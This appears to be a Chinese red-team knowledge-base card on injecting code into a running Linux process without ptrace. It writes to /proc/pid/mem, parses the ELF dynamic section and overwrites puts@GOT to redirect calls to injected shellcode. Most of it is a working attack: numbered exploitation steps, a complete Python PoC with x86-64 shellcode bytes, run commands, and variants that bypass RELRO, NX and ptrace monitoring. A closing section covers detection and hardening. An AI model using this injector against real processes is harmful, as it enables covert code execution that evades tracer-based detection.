♧ Godown 安全知识树

/proc/pid/mem 无 ptrace GOT 劫持:解析 ELF 动态段把 puts GOT 覆写为注入 shellcode

pentest/c2 · verified

一句话结论

在满足 /proc/<pid>/mem 权限(同 UID 或 CAP_SYS_PTRACE、YAMA 策略允许)且目标不是 Full RELRO 的前提下,攻击者可以完全不调用 ptrace:解析 /proc/<pid>/maps 找到 ELF 基址,读取 ELF program header/dynamic 段定位 puts@GOT,把一段“打印消息后跳回原 puts”的 shellcode 写到可写数据段,再把 GOT 表项改成 shellcode 地址;目标下次调用 puts() 就会先执行注入代码再恢复原功能,而 /proc/<pid>/status 的 TracerPid 始终为 0。

原理

  • /proc//mem:该文件把进程整个虚拟地址空间以线性文件暴露;lseek + read/write 等价于直接读写目标内存。内核在 mem_open/mem_write 路径用 ptrace_may_access(task, PTRACE_MODE_ATTACH_REALCREDS) 检查:同 UID(或 root/CAP_SYS_PTRACE)、YAMA 策略允许、目标未设置 PR_SET_DUMPABLE=0。从 Linux 3.x 起,写 /proc/<pid>/mem 不再强制先 PTRACE_ATTACH,因此可以完全绕过 ptrace 和 TracerPid 痕迹。
  • YAMA ptrace_scope:0=经典模式(同 UID 可读写);1=受限(父进程/已声明调试者);2=仅 CAP_SYS_PTRACE;3=完全禁止。Kali 默认 0,Ubuntu 桌面默认 1。红队拿到同 UID/root shell 后通常面对 0 或 1。
  • GOT/PLT:ELF 调用共享库函数时,.text 的 call puts@plt 跳到 .plt,.plt 再 jmp *GOT[n];首次调用由 _dl_runtime_resolve 填充 GOT,之后 GOT 保存真实地址。GOT 位于可写段,覆写它即可劫持后续调用。
  • 解析步骤: 1. /proc/pid/maps 找主 ELF 的 offset=0 映射,得到基址(非 PIE 通常 0x400000;PIE 为随机基址)。 2. 读 ELF header(e_phoff/e_phentsize/e_phnum),遍历 program header 找 PT_DYNAMIC,得到动态段地址/大小。 3. 解析动态表项:DT_JMPREL(.rela.plt)、DT_PLTRELSZ、DT_SYMTAB、DT_STRTAB。 4. 遍历 Elf64_Rela(24 字节),r_info >> 32 得符号索引,读 Elf64_Sym 的 st_name,从 strtab 取符号名,r_offset 即 GOT 表项地址。 5. 找到 puts 的 GOT 地址,读原值(真实 puts 地址)。
  • 注入 shellcode:在 ELF 可写段(rw-p)末尾找空间写入“保存寄存器 → write(1,msg,23) → 恢复寄存器 → jmp [rip+0] → 原 puts 地址 + 消息”的 payload;把 puts@GOT 覆写为 shellcode 地址。之后每次 puts 调用先打印劫持消息,再跳到原 puts,目标行为正常。
  • 限制:rw-p 段没有执行权限(NX),原文实验环境能执行是因为部分内核/CPU 未严格检查;严格 NX 下需改用远程 mmap 分配 RWX 或把 GOT 指向已有可执行 gadget/函数。Full RELRO(-z relro -z now)会把 GOT 设为只读,需 mprotect 或其他可写函数指针(.fini_array、atexit 等)。另外可用 process_vm_writev 替代 /proc/mem 写入(权限检查类似,但走不同内核路径,监控可能遗漏)。

触发条件

  • 攻击者与目标同 UID,或拥有 root/CAP_SYS_PTRACE;YAMA ptrace_scope 允许(0 或父子/声明关系)。
  • 目标进程未设置 PR_SET_DUMPABLE=0;SELinux/AppArmor 未阻止 /proc/<pid>/mem 访问。
  • 目标 ELF 非 Full RELRO(GOT 可写);或已通过其他方式解除写保护。
  • 目标可写段可执行(严格 NX 环境下不成立,需远程 mmap/RWX 方案)。
  • 需要读取 /proc/<pid>/maps 和 ELF 动态段;非 PIE 地址固定,PIE 用 maps 基址计算。

利用步骤

  1. 读取 /proc/<pid>/maps,定位主 ELF 的 offset=0 映射得到基址,并记录可写 rw-p 段范围。
  2. 通过 /proc/<pid>/mem 读取 ELF header/program header,找 PT_DYNAMIC。
  3. 解析 DT_JMPREL/DT_PLTRELSZ/DT_SYMTAB/DT_STRTAB,遍历 .rela.plt 与符号表,建立 symbol -> GOT address 映射(原文找到 puts/getpid/printf/fflush/sleep)。
  4. 读取 puts@GOT 当前值(真实 puts 地址),保存用于恢复。
  5. 在可写段末尾写入 shellcode:保存寄存器、write(1,msg,23)、恢复寄存器、jmp [rip+0]、原 puts 地址、消息;记录 shellcode 地址。
  6. 用 /proc/<pid>/mem(r+b 模式,不能用 wb 截断)把 puts@GOT 覆写为 shellcode 地址。
  7. 观察目标输出:每次 puts 前出现 [GOT-HIJACKED] hooked!,随后正常输出;grep TracerPid /proc/<pid>/status 应为 0。
  8. 恢复时把原 puts 地址写回 GOT;取证时对比 GOT 与磁盘 ELF/libc 符号是否一致。

PoC

#!/usr/bin/env python3
import re, struct, sys

def parse_maps(pid):
    maps = []
    for line in open(f"/proc/{pid}/maps"):
        m = re.match(r"([0-9a-f]+)-([0-9a-f]+)\s+([\w-]+)\s+"
                     r"([0-9a-f]+)\s+\S+\s+\d+\s*(.*)", line.strip())
        if m:
            maps.append({"start": int(m.group(1), 16),
                         "end": int(m.group(2), 16),
                         "perms": m.group(3),
                         "offset": int(m.group(4), 16),
                         "path": m.group(5).strip()})
    return maps

def read_mem(pid, addr, size):
    with open(f"/proc/{pid}/mem", "rb") as f:
        f.seek(addr)
        return f.read(size)

def write_mem(pid, addr, data):
    with open(f"/proc/{pid}/mem", "r+b") as f:  # 不要用 wb,会截断
        f.seek(addr)
        f.write(data)
        f.flush()

def find_base(maps, exe):
    for m in maps:
        if exe in m["path"] and m["offset"] == 0:
            return m["start"]
    return None

def find_rw(maps, exe):
    for m in maps:
        if exe in m["path"] and "rw" in m["perms"]:
            return m
    return None

def parse_got(pid, base):
    ehdr = read_mem(pid, base, 64)
    phoff = struct.unpack_from("<Q", ehdr, 32)[0]
    phentsize = struct.unpack_from("<H", ehdr, 54)[0]
    phnum = struct.unpack_from("<H", ehdr, 56)[0]
    dyn_addr = dyn_size = 0
    for i in range(phnum):
        ph = read_mem(pid, base + phoff + i * phentsize, phentsize)
        if struct.unpack_from("<I", ph, 0)[0] == 2:  # PT_DYNAMIC
            dyn_addr = struct.unpack_from("<Q", ph, 16)[0]
            dyn_size = struct.unpack_from("<Q", ph, 32)[0]
            break
    dyn = read_mem(pid, dyn_addr, dyn_size)
    jmprel = jmprelsz = symtab = strtab = 0
    for off in range(0, dyn_size, 16):
        tag, val = struct.unpack_from("<qQ", dyn, off)
        if tag == 23: jmprel = val
        elif tag == 2: jmprelsz = val
        elif tag == 6: symtab = val
        elif tag == 5: strtab = val
        elif tag == 0: break
    strdata = read_mem(pid, strtab, 4096)
    got = {}
    rela = read_mem(pid, jmprel, jmprelsz)
    for off in range(0, jmprelsz, 24):
        r_offset, r_info, _ = struct.unpack_from("<QQq", rela, off)
        symidx = r_info >> 32
        sym = read_mem(pid, symtab + symidx * 24, 24)
        st_name = struct.unpack_from("<I", sym, 0)[0]
        end = strdata.index(b"\x00", st_name)
        name = strdata[st_name:end].decode(errors="ignore")
        got[name] = r_offset
    return got

# 使用:pid/exe 来自命令行
pid, exe = int(sys.argv[1]), sys.argv[2]
maps = parse_maps(pid)
base = find_base(maps, exe)
got = parse_got(pid, base)
puts_got = got["puts"]
orig_puts = struct.unpack("<Q", read_mem(pid, puts_got, 8))[0]

# shellcode:保存寄存器 + write(1,msg,23) + 恢复 + jmp [rip+0] + 原 puts + 消息
body = (b"\x50\x57\x56\x52"                  # push rax/rdi/rsi/rdx
        b"\xbf\x01\x00\x00\x00"              # mov edi,1
        b"\x48\x8d\x35\x1e\x00\x00\x00"      # lea rsi,[rip+30]
        b"\xba\x17\x00\x00\x00"              # mov edx,23
        b"\xb8\x01\x00\x00\x00"              # mov eax,1
        b"\x0f\x05"                          # syscall
        b"\x5a\x5e\x5f\x58"                  # pop rdx/rsi/rdi/rax
        b"\xff\x25\x00\x00\x00\x00")         # jmp qword ptr [rip+0]
msg = b"[GOT-HIJACKED] hooked!\n\x00\x00"
payload = body + struct.pack("<Q", orig_puts) + msg

rw = find_rw(maps, exe)
sc_addr = rw["end"] - 256
write_mem(pid, sc_addr, payload)
write_mem(pid, puts_got, struct.pack("<Q", sc_addr))
print("puts@GOT 0x%x: 0x%x -> 0x%x" % (puts_got, orig_puts, sc_addr))
gcc -o target target.c -no-pie
./target &
sudo python3 got_hijack.py $(pidof target) /path/to/target
# 目标输出:[GOT-HIJACKED] hooked! 后继续 heartbeat
grep TracerPid /proc/$(pidof target)/status   # 0

变体与关联

  • 变体:Full RELRO:GOT 只读,需远程 mprotect 解除写保护,或改劫持 .fini_array/atexit/其他可写函数指针;也可把 GOT 指向已有 gadget/libc 函数。
  • 变体:严格 NX:rw-p 不可执行,改用远程 mmap 分配 RWX(见远程 mmap 卡)或把 GOT 覆盖为已有可执行地址。
  • 变体:process_vm_writev:不经过 /proc/mem,权限检查类似但内核路径不同;监控需同时覆盖 process_vm_readv/writev(auditd 规则见检测卡)。
  • 关联卡片:[[pentest-c2-linux-ptrace-poketext-shellcode-injection]](ptrace 注入)、[[pentest-c2-linux-remote-mmap-syscall-injection]](远程 mmap + payload)、[[defense-detection-linux-process-injection]](GOT 完整性/内存检测)。
  • 边界:YAMA/PR_SET_DUMPABLE/SELinux 会阻断;GOT 解析依赖 ELF 动态段和符号名,strip/静态链接/自定义链接器可能不同;/proc/mem 写入需 r+b,wb 会截断;原文实验环境允许 rw-p 执行,严格环境不成立。

检测与防御

  • 完整性检测:校验 GOT 表项是否指向合法 libc/共享库范围;对比磁盘 ELF 与内存中的动态段;监控 .text/GOT 页的写操作。
  • 审计:auditd 监控 /proc/*/mem 的写入(可用 -w /proc/*/mem -p w 或 eBPF vfs_write kprobe);同时覆盖 process_vm_writev;TracerPid 为 0 不代表安全。
  • 加固:Full RELRO(-Wl,-z,relro,-z,now)使 GOT 只读;YAMA ptrace_scope 设为 1/2;限制 CAP_SYS_PTRACE;SELinux/AppArmor 限制跨进程内存访问;生产环境不给普通用户同 UID 的敏感进程调试能力。
  • 响应:发现 GOT 异常后保存 /proc/<pid>/maps、GOT 值、内存镜像与 auditd 日志;对比符号表定位被覆写表项;检查是否有后续 payload/持久化。